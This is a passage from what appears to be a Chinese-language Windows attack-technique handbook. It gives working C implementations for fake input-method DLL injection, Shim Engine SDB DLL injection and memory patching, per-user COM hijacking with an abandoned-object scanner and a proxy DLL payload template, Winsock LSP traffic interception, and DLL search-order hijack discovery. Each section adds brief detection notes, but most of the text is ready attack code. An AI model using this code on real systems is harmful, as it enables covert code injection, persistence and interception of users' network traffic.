return FALSE;
}
return TRUE;
}, (LPARAM)&data);
if (!data.hwnd) return FALSE;
tid = GetWindowThreadProcessId(data.hwnd, NULL);
// 激活伪造输入法到目标线程
HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE | KLF_REORDER);
if (!hkl) return FALSE;
// 通过 WM_INPUTLANGCHANGEREQUEST 触发目标进程加载 IME DLL
PostMessageW(data.hwnd, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
return TRUE;
}
void UnregisterFakeIme() {
UnloadKeyboardLayout(LoadKeyboardLayoutW(FAKE_IME_KEY, 0));
WCHAR keyPath[256];
swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath);
}
// === IME DLL 代码 ===
// 编译为 fakeime.dll,需导出 IME 标准接口
#ifdef BUILD_IME_DLL
static BOOL g_payloadExecuted = FALSE;
void ImePayload() {
if (g_payloadExecuted) return;
g_payloadExecuted = TRUE;
// 检查是否在目标进程中
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
// 执行实际 payload:内存 Hook、信息窃取等
// 此处 IME DLL 已被系统加载到目标进程中
// 示例:记录按键到共享内存
HANDLE hMap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "Global\\ImeHookShared");
if (hMap) {
char* pBuf = (char*)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 4096);
if (pBuf) {
// 写入当前进程信息
sprintf_s(pBuf, 4096, "Injected into PID: %lu EXE: %s", GetCurrentProcessId(), exePath);
UnmapViewOfFile(pBuf);
}
}
}
// IME 标准导出函数
__declspec(dllexport) BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPWSTR lpszUIClass, LPCWSTR lpszOption) {
ImePayload();
lpIMEInfo->dwPrivateDataSize = 0;
lpIMEInfo->fdwProperty = IME_PROP_UNICODE | IME_PROP_AT_CARET;
lpIMEInfo->fdwConversionCaps = 0;
lpIMEInfo->fdwSentenceCaps = 0;
lpIMEInfo->fdwUICaps = 0;
lpIMEInfo->fdwSCSCaps = 0;
lpIMEInfo->fdwSelectCaps = 0;
wcscpy_s(lpszUIClass, 64, L"FakeIMEUI");
return TRUE;
}
__declspec(dllexport) BOOL WINAPI ImeConfigure(HKL hKL, HWND hWnd, DWORD dwMode, LPVOID lpData) { return FALSE; }
__declspec(dllexport) DWORD WINAPI ImeConversionList(HIMC hIMC, LPCWSTR lpSrc, LPCANDIDATELIST lpDst, DWORD dwBufLen, UINT uFlag) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeDestroy(UINT uForce) { return TRUE; }
__declspec(dllexport) LRESULT WINAPI ImeEscape(HIMC hIMC, UINT uSubFunc, LPVOID lpData) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeProcessKey(HIMC hIMC, UINT uVirKey, LPARAM lParam, CONST LPBYTE lpbKeyState) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSelect(HIMC hIMC, BOOL fSelect) { return TRUE; }
__declspec(dllexport) BOOL WINAPI ImeSetActiveContext(HIMC hIMC, BOOL fFlag) { return TRUE; }
__declspec(dllexport) UINT WINAPI ImeToAsciiEx(UINT uVirKey, UINT uScanCode, CONST LPBYTE lpbKeyState, LPDWORD lpdwTransBuf, UINT fuState, HIMC hIMC) { return 0; }
__declspec(dllexport) BOOL WINAPI NotifyIME(HIMC hIMC, DWORD dwAction, DWORD dwIndex, DWORD dwValue) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSetCompositionString(HIMC hIMC, DWORD dwIndex, LPCVOID lpComp, DWORD dwCompLen, LPCVOID lpRead, DWORD dwReadLen) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeRegisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeUnregisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) UINT WINAPI ImeGetRegisterWordStyle(UINT nItem, LPSTYLEBUFW lpStyleBuf) { return 0; }
__declspec(dllexport) UINT WINAPI ImeEnumRegisterWord(REGISTERWORDENUMPROCW lpfnEnumProc, LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString, LPVOID lpData) { return 0; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ImePayload();
}
return TRUE;
}
#endif
检测方法
- 枚举 Keyboard Layouts 注册表键,对比系统默认输入法列表
- 检查 IME DLL 是否有有效的数字签名
- 监控
imm32.dll 的 ImmInstallIME / LoadKeyboardLayout 调用
- TSF 注入检测:枚举 COM 注册的 Text Input Processor
1.14 Shim Engine Hook(应用兼容性引擎)
原理
Windows Application Compatibility Framework 允许通过 SDB 文件对应用程序做内存补丁。可重定向 API 调用、修改内存代码(InMemoryPatch)、注入 DLL(InjectDll shim)。系统在进程创建时由 ntdll!LdrpInitShimEngine 自动应用匹配的 Shim。
完整实现
#include <windows.h>
#include <stdio.h>
typedef HANDLE (WINAPI *SdbCreateDatabase_t)(LPCWSTR path, DWORD type);
typedef void (WINAPI *SdbCloseDatabaseWrite_t)(HANDLE db);
typedef DWORD (WINAPI *SdbBeginWriteListTag_t)(HANDLE db, DWORD tag);
typedef BOOL (WINAPI *SdbEndWriteListTag_t)(HANDLE db, DWORD tagId);
typedef BOOL (WINAPI *SdbWriteStringTag_t)(HANDLE db, DWORD tag, LPCWSTR value);
typedef BOOL (WINAPI *SdbWriteDWORDTag_t)(HANDLE db, DWORD tag, DWORD value);
typedef BOOL (WINAPI *SdbWriteBinaryTag_t)(HANDLE db, DWORD tag, BYTE* data, DWORD size);
#define TAG_DATABASE 0x7001
#define TAG_LIBRARY 0x7002
#define TAG_EXE 0x7007
#define TAG_SHIM_REF 0x7008
#define TAG_PATCH_REF 0x7009
#define TAG_PATCH 0x700A
#define TAG_NAME 0x6001
#define TAG_APP_NAME 0x6006
#define TAG_DLLFILE 0x6003
#define TAG_OS_PLATFORM 0x4023
#define TAG_PATCH_BITS 0x9002
#define TAG_COMMAND_LINE 0x6008
BOOL CreateInjectDllSdb(const WCHAR* sdbPath, const WCHAR* targetExe, const WCHAR* dllToInject) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
SdbBeginWriteListTag_t pBeginList = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
SdbEndWriteListTag_t pEndList = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
SdbWriteStringTag_t pWriteString = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
SdbWriteDWORDTag_t pWriteDword = (SdbWriteDWORDTag_t)GetProcAddress(hApphelp, "SdbWriteDWORDTag");
if (!pCreate || !pClose || !pBeginList || !pEndList || !pWriteString) {
FreeLibrary(hApphelp);
return FALSE;
}
HANDLE hSdb = pCreate(sdbPath, 2);
if (!hSdb || hSdb == INVALID_HANDLE_VALUE) { FreeLibrary(hApphelp); return FALSE; }
DWORD dbTag = pBeginList(hSdb, TAG_DATABASE);
pWriteString(hSdb, TAG_NAME, L"CustomShimDB");
pWriteDword(hSdb, TAG_OS_PLATFORM, 1);
DWORD libTag = pBeginList(hSdb, TAG_LIBRARY);
DWORD shimTag = pBeginList(hSdb, 0x700A);
pWriteString(hSdb, TAG_NAME, L"InjectDll");
pWriteString(hSdb, TAG_DLLFILE, L"InjectDll.dll");
pEndList(hSdb, shimTag);
pEndList(hSdb, libTag);
DWORD exeTag = pBeginList(hSdb, TAG_EXE);
pWriteString(hSdb, TAG_NAME, targetExe);
pWriteString(hSdb, TAG_APP_NAME, L"TargetApp");
DWORD refTag = pBeginList(hSdb, TAG_SHIM_REF);
pWriteString(hSdb, TAG_NAME, L"InjectDll");
pWriteString(hSdb, TAG_COMMAND_LINE, dllToInject);
pEndList(hSdb, refTag);
pEndList(hSdb, exeTag);
pEndList(hSdb, dbTag);
pClose(hSdb);
FreeLibrary(hApphelp);
return TRUE;
}
BOOL InstallSdb(const WCHAR* sdbPath) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
typedef BOOL (WINAPI *SdbInstallDB_t)(LPCWSTR, DWORD);
SdbInstallDB_t p = (SdbInstallDB_t)GetProcAddress(hApphelp, "SdbInstallDB");
BOOL r = p ? p(sdbPath, 0) : FALSE;
FreeLibrary(hApphelp);
return r;
}
typedef struct { DWORD rva; BYTE* patchBytes; DWORD patchSize; } MEMORY_PATCH;
BOOL CreateMemPatchSdb(const WCHAR* sdbPath, const WCHAR* targetExe, MEMORY_PATCH* patches, DWORD count) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
SdbBeginWriteListTag_t pBegin = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
SdbEndWriteListTag_t pEnd = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
SdbWriteStringTag_t pStr = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
SdbWriteBinaryTag_t pBin = (SdbWriteBinaryTag_t)GetProcAddress(hApphelp, "SdbWriteBinaryTag");
HANDLE hSdb = pCreate(sdbPath, 2);
if (!hSdb) { FreeLibrary(hApphelp); return FALSE; }
DWORD db = pBegin(hSdb, TAG_DATABASE);
pStr(hSdb, TAG_NAME, L"MemPatchDB");
DWORD lib = pBegin(hSdb, TAG_LIBRARY);
for (DWORD i = 0; i < count; i++) {
DWORD pt = pBegin(hSdb, TAG_PATCH);
WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
pStr(hSdb, TAG_NAME, nm);
DWORD sz = 8 + patches[i].patchSize;
BYTE* bits = (BYTE*)calloc(1, sz);
*(DWORD*)bits = patches[i].rva;
*(DWORD*)(bits+4) = patches[i].patchSize;
memcpy(bits+8, patches[i].patchBytes, patches[i].patchSize);
pBin(hSdb, TAG_PATCH_BITS, bits, sz);
free(bits);
pEnd(hSdb, pt);
}
pEnd(hSdb, lib);
DWORD exe = pBegin(hSdb, TAG_EXE);
pStr(hSdb, TAG_NAME, targetExe);
for (DWORD i = 0; i < count; i++) {
DWORD ref = pBegin(hSdb, TAG_PATCH_REF);
WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
pStr(hSdb, TAG_NAME, nm);
pEnd(hSdb, ref);
}
pEnd(hSdb, exe);
pEnd(hSdb, db);
pClose(hSdb);
FreeLibrary(hApphelp);
return TRUE;
}
int wmain() {
CreateInjectDllSdb(L"C:\\inject.sdb", L"target.exe", L"C:\\payload.dll");
InstallSdb(L"C:\\inject.sdb");
BYTE nops[] = {0x90, 0x90, 0x90, 0x90, 0x90};
MEMORY_PATCH p = {0x1234, nops, 5};
CreateMemPatchSdb(L"C:\\patch.sdb", L"target.exe", &p, 1);
return 0;
}
检测方法
- 枚举
HKLM\...\AppCompatFlags\InstalledSDB
- 检查
%windir%\AppPatch\Custom 目录
- 监控
sdbinst.exe 调用
sdb2xml 反编译
原理
Windows COM 通过注册表 CLSID 查找组件 DLL 路径。HKCU 优先于 HKLM,因此无需管理员权限即可劫持。系统中存在大量 Abandoned COM 对象(DLL 已删除但注册表未清理),可直接植入 DLL 利用。
完整实现
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
typedef struct { WCHAR clsid[64]; WCHAR dll[MAX_PATH]; BOOL abandoned; } COM_TARGET;
DWORD ScanAbandonedCom(COM_TARGET* targets, DWORD max) {
DWORD found = 0;
HKEY hRoot;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Classes\\CLSID", 0, KEY_READ, &hRoot)) return 0;
DWORD idx = 0; WCHAR clsid[64]; DWORD sz;
while (found < max) {
sz = 64;
if (RegEnumKeyExW(hRoot, idx++, clsid, &sz, NULL, NULL, NULL, NULL)) break;
WCHAR sub[128]; swprintf_s(sub, 128, L"%s\\InprocServer32", clsid);
HKEY hSub;
if (!RegOpenKeyExW(hRoot, sub, 0, KEY_READ, &hSub)) {
WCHAR dll[MAX_PATH] = {0}; DWORD ds = sizeof(dll);
if (!RegQueryValueExW(hSub, NULL, NULL, NULL, (BYTE*)dll, &ds)) {
WCHAR exp[MAX_PATH]; ExpandEnvironmentStringsW(dll, exp, MAX_PATH);
if (GetFileAttributesW(exp) == INVALID_FILE_ATTRIBUTES) {
wcscpy_s(targets[found].clsid, 64, clsid);
wcscpy_s(targets[found].dll, MAX_PATH, exp);
targets[found].abandoned = TRUE;
found++;
}
}
RegCloseKey(hSub);
}
}
RegCloseKey(hRoot);
return found;
}
BOOL InstallComHijack(const WCHAR* clsid, const WCHAR* malDll) {
WCHAR key[256];
swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s\\InprocServer32", clsid);
HKEY hk;
if (RegCreateKeyExW(HKEY_CURRENT_USER, key, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)) return FALSE;
RegSetValueExW(hk, NULL, 0, REG_SZ, (BYTE*)malDll, (DWORD)((wcslen(malDll)+1)*2));
WCHAR tm[] = L"Both";
RegSetValueExW(hk, L"ThreadingModel", 0, REG_SZ, (BYTE*)tm, sizeof(tm));
RegCloseKey(hk);
return TRUE;
}
BOOL RemoveComHijack(const WCHAR* clsid) {
WCHAR key[256];
swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s", clsid);
return !RegDeleteTreeW(HKEY_CURRENT_USER, key);
}
// 代理 DLL 模板:转发原始 COM 接口,同时执行 payload
#ifdef BUILD_COM_PROXY
static HMODULE g_hOrig = NULL;
typedef HRESULT(WINAPI *DllGetClassObject_t)(REFCLSID, REFIID, LPVOID*);
void ComPayload() {
// DLL 已加载到目标进程(explorer.exe / svchost.exe 等)
// 可执行任意操作:Hook API、读取进程内存、建立 C2 通信等
char exe[MAX_PATH];
GetModuleFileNameA(NULL, exe, MAX_PATH);
// 根据宿主进程决定行为
}
__declspec(dllexport) HRESULT WINAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) g_hOrig = LoadLibraryW(L"C:\\Windows\\System32\\original_com.dll");
if (g_hOrig) {
DllGetClassObject_t pOrig = (DllGetClassObject_t)GetProcAddress(g_hOrig, "DllGetClassObject");
if (pOrig) return pOrig(rclsid, riid, ppv);
}
return 0x80040111L; // CLASS_E_CLASSNOTAVAILABLE
}
__declspec(dllexport) HRESULT WINAPI DllCanUnloadNow(void) { return S_FALSE; }
__declspec(dllexport) HRESULT WINAPI DllRegisterServer(void) { return S_OK; }
__declspec(dllexport) HRESULT WINAPI DllUnregisterServer(void) { return S_OK; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ComPayload();
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
#endif
// 高价值劫持目标
void PrintTargets() {
const WCHAR* interesting[][2] = {
{L"{BCDE0395-E52F-467C-8E3D-C4579291692E}", L"MMDeviceEnumerator"},
{L"{4590F811-1D3A-11D0-891F-00AA004B2E24}", L"WbemLocator (WMI)"},
{L"{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}", L"TaskScheduler"},
{L"{0002DF01-0000-0000-C000-000000000046}", L"InternetExplorer"},
};
for (int i = 0; i < 4; i++)
wprintf(L" %s -> %s\n", interesting[i][0], interesting[i][1]);
}
int wmain() {
COM_TARGET t[100]; DWORD n = ScanAbandonedCom(t, 100);
wprintf(L"Found %lu abandoned COM objects:\n", n);
for (DWORD i = 0; i < n && i < 15; i++)
wprintf(L" %s -> %s\n", t[i].clsid, t[i].dll);
wprintf(L"\nHigh-value targets:\n");
PrintTargets();
return 0;
}
检测方法
- 对比 HKCU vs HKLM CLSID 键发现覆盖
- InprocServer32 DLL 签名验证
- Sysmon Event 12/13 监控 CLSID 修改
- 定期扫描 Abandoned COM Keys
- 使用 OleView 或 COM Hijack 检测工具审计
1.16 Winsock LSP(分层服务提供程序 Hook)
原理
Winsock Layered Service Provider 在 Winsock API 和底层传输协议间插入自定义层。LSP DLL 被自动加载到所有使用网络的进程中(浏览器、游戏、IM 等),可拦截 connect/send/recv 等所有网络操作。通过 WSCInstallProvider API 安装,注册表位于 Protocol_Catalog9。
Win10+ 虽已弃用 LSP(推荐 WFP),但为向后兼容仍然支持加载。
完整实现
#include <windows.h>
#include <winsock2.h>
#include <ws2spi.h>
#include <sporder.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "rpcrt4.lib")
BOOL InstallLsp(const WCHAR* dllPath, const WCHAR* lspName) {
WSADATA wd; WSAStartup(MAKEWORD(2, 2), &wd);
DWORD bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
LPWSAPROTOCOL_INFOW protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
int protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
if (protoCount <= 0) { free(protoInfo); return FALSE; }
DWORD tcpId = 0, udpId = 0;
for (int i = 0; i < protoCount; i++) {
if (protoInfo[i].iAddressFamily == AF_INET && protoInfo[i].ProtocolChain.ChainLen == 1) {
if (protoInfo[i].iProtocol == IPPROTO_TCP) tcpId = protoInfo[i].dwCatalogEntryId;
if (protoInfo[i].iProtocol == IPPROTO_UDP) udpId = protoInfo[i].dwCatalogEntryId;
}
}
GUID lspGuid; UuidCreate(&lspGuid);
WSAPROTOCOL_INFOW lspProto = protoInfo[0];
lspProto.ProtocolChain.ChainLen = LAYERED_PROTOCOL;
lspProto.dwServiceFlags1 = XP1_IFS_HANDLES;
wcscpy_s(lspProto.szProtocol, WSAPROTOCOL_LEN + 1, lspName);
int err = 0;
if (WSCInstallProvider(&lspGuid, dllPath, &lspProto, 1, &err) == SOCKET_ERROR) {
free(protoInfo); return FALSE;
}
// 重新枚举获取 LSP Catalog ID
free(protoInfo); bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
DWORD lspCatId = 0;
for (int i = 0; i < protoCount; i++)
if (!memcmp(&protoInfo[i].ProviderId, &lspGuid, sizeof(GUID)))
{ lspCatId = protoInfo[i].dwCatalogEntryId; break; }
// 创建协议链条目
WSAPROTOCOL_INFOW chains[2] = {0}; int chainCount = 0;
if (tcpId) {
chains[chainCount] = protoInfo[0];
chains[chainCount].ProtocolChain.ChainLen = 2;
chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
chains[chainCount].ProtocolChain.ChainEntries[1] = tcpId;
chains[chainCount].iProtocol = IPPROTO_TCP;
chains[chainCount].iSocketType = SOCK_STREAM;
chainCount++;
}
if (udpId) {
chains[chainCount] = protoInfo[0];
chains[chainCount].ProtocolChain.ChainLen = 2;
chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
chains[chainCount].ProtocolChain.ChainEntries[1] = udpId;
chains[chainCount].iProtocol = IPPROTO_UDP;
chains[chainCount].iSocketType = SOCK_DGRAM;
chainCount++;
}
GUID chainGuid; UuidCreate(&chainGuid);
WSCInstallProvider(&chainGuid, dllPath, chains, chainCount, &err);
free(protoInfo);
WSACleanup();
return TRUE;
}
// LSP DLL 实现
#ifdef BUILD_LSP_DLL
static WSPPROC_TABLE g_nextTable = {0};
int WSPAPI LSP_WSPConnect(SOCKET s, const struct sockaddr* name, int namelen,
LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS, LPINT lpErrno) {
if (name->sa_family == AF_INET) {
struct sockaddr_in* addr = (struct sockaddr_in*)name;
USHORT port = ntohs(addr->sin_port);
ULONG ip = ntohl(addr->sin_addr.s_addr);
// 记录连接目标 / 阻止特定 IP:Port / 重定向流量
// if (port == 443 && ip == TARGET_IP) { *lpErrno = WSAECONNREFUSED; return SOCKET_ERROR; }
}
return g_nextTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
int WSPAPI LSP_WSPSend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno) {
// 检查/修改/记录发送数据
for (DWORD i = 0; i < dwBufferCount; i++) {
// DLP 检查、关键词过滤、流量镜像等
}
return g_nextTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,
dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
int WSPAPI LSP_WSPRecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno) {
int ret = g_nextTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd,
lpFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
if (ret == 0 && lpNumberOfBytesRecvd && *lpNumberOfBytesRecvd > 0) {
// 检查接收内容、注入数据等
}
return ret;
}
int WSPAPI WSPStartup(WORD wVersionRequested, LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFOW lpProtocolInfo, WSPUPCALLTABLE UpcallTable, LPWSPPROC_TABLE lpProcTable) {
DWORD nextCatalogId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
// 查找下层协议 DLL 路径
DWORD bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
LPWSAPROTOCOL_INFOW protos = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
int count = WSCEnumProtocols(NULL, protos, &bufSize, NULL);
WCHAR nextDllPath[MAX_PATH] = {0};
int pathLen = MAX_PATH, err = 0;
for (int i = 0; i < count; i++) {
if (protos[i].dwCatalogEntryId == nextCatalogId) {
WSCGetProviderPath(&protos[i].ProviderId, nextDllPath, &pathLen, &err);
break;
}
}
free(protos);
WCHAR expandedPath[MAX_PATH];
ExpandEnvironmentStringsW(nextDllPath, expandedPath, MAX_PATH);
HMODULE hNext = LoadLibraryW(expandedPath);
if (!hNext) return WSAEPROVIDERFAILEDINIT;
typedef int(WSPAPI *WSPStartup_t)(WORD, LPWSPDATA, LPWSAPROTOCOL_INFOW, WSPUPCALLTABLE, LPWSPPROC_TABLE);
WSPStartup_t pNextStartup = (WSPStartup_t)GetProcAddress(hNext, "WSPStartup");
if (!pNextStartup) return WSAEPROVIDERFAILEDINIT;
WSAPROTOCOL_INFOW nextInfo = *lpProtocolInfo;
nextInfo.dwCatalogEntryId = nextCatalogId;
int ret = pNextStartup(wVersionRequested, lpWSPData, &nextInfo, UpcallTable, lpProcTable);
if (ret != 0) return ret;
// 保存下层函数表,替换拦截点
g_nextTable = *lpProcTable;
lpProcTable->lpWSPConnect = LSP_WSPConnect;
lpProcTable->lpWSPSend = LSP_WSPSend;
lpProcTable->lpWSPRecv = LSP_WSPRecv;
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(hModule);
return TRUE;
}
#endif
检测方法
netsh winsock show catalog 查看已安装 LSP
- 扫描
Protocol_Catalog9 注册表异常 DLL
netsh winsock reset 重置(移除所有第三方 LSP)
- 现代系统应使用 WFP(内核级)替代
1.17 DLL Search Order Hijacking(DLL 搜索顺序劫持)
原理
Windows 加载 DLL 时按照固定顺序搜索:
- 应用程序自身目录
- System32
- System(16位兼容)
- Windows 目录
- 当前工作目录(SafeDllSearchMode 开启时优先级降低)
- PATH 环境变量目录
在高优先级目录中植入与目标 DLL 同名的文件,即可劫持加载。核心系统 DLL 受 KnownDlls 注册表保护(始终从 System32 加载),但第三方依赖和非 KnownDll 的系统 DLL 仍可被劫持。
完整实现
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(lib, "dbghelp.lib")
typedef struct {
WCHAR dllName[MAX_PATH];
WCHAR plantPath[MAX_PATH];
} HIJACK_OPPORTUNITY;
// 分析 PE 导入表找出可劫持的 DLL
DWORD AnalyzeImports(const WCHAR* pePath, HIJACK_OPPORTUNITY* results, DWORD maxResults) {
DWORD found = 0;
HANDLE hFile = CreateFileW(pePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return 0;
HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping) { CloseHandle(hFile); return 0; }
LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pBase) { CloseHandle(hMapping); CloseHandle(hFile); return 0; }
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew);
DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (!importRva) goto cleanup;
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
BYTE* importPtr = NULL;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (importRva >= pSec[i].VirtualAddress &&
importRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
importPtr = (BYTE*)pBase + importRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData;
break;
}
}
if (!importPtr) goto cleanup;
// KnownDlls: 这些 DLL 受系统保护,无法通过搜索顺序劫持
const char* knownDlls[] = {
"kernel32.dll", "ntdll.dll", "user32.dll", "gdi32.dll", "advapi32.dll",
"shell32.dll", "ole32.dll", "oleaut32.dll", "msvcrt.dll", "ws2_32.dll",
"comctl32.dll", "comdlg32.dll", "rpcrt4.dll", "secur32.dll", "shlwapi.dll",
"setupapi.dll", "cfgmgr32.dll", "imm32.dll", "normaliz.dll", NULL
};
WCHAR exeDir[MAX_PATH];
wcscpy_s(exeDir, MAX_PATH, pePath);
WCHAR* lastSlash = wcsrchr(exeDir, L'\\');
if (lastSlash) *lastSlash = L'\0';
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)importPtr;
while (pImport->Name && found < maxResults) {
DWORD nameRva = pImport->Name;
char* dllNameA = NULL;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (nameRva >= pSec[i].VirtualAddress &&
nameRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
dllNameA = (char*)((BYTE*)pBase + nameRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData);
break;
}
}
if (!dllNameA) { pImport++; continue; }
// 跳过 KnownDlls
BOOL isKnown = FALSE;
for (int k = 0; knownDlls[k]; k++)
if (_stricmp(dllNameA, knownDlls[k]) == 0) { isKnown = TRUE; break; }
if (!isKnown) {
WCHAR dllNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, dllNameA, -1, dllNameW, MAX_PATH);
// 检查应用目录是否已有该 DLL(已有则不是劫持机会)
WCHAR testPath[MAX_PATH];
swprintf_s(testPath, MAX_PATH, L"%s\\%s", exeDir, dllNameW);
if (GetFileAttributesW(testPath) == INVALID_FILE_ATTRIBUTES) {
wcscpy_s(results[found].dllName, MAX_PATH, dllNameW);
wcscpy_s(results[found].plantPath, MAX_PATH, testPath);
found++;
}
}
pImport++;
}
cleanup:
UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return found;
}
// 生成转发 DLL 的 .def 文件(所有导出转发到原始 DLL)
BOOL GenerateForwarderDef(const WCHAR* originalDllPath, const WCHAR* outputDefPath) {
HMODULE hMod = LoadLibraryExW(originalDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hMod) return FALSE;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDos->e_lfanew);
DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportRva) { FreeLibrary(hMod); return FALSE; }
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hMod + exportRva);
DWORD* nameRvas = (DWORD*)((BYTE*)hMod + pExport->AddressOfNames);
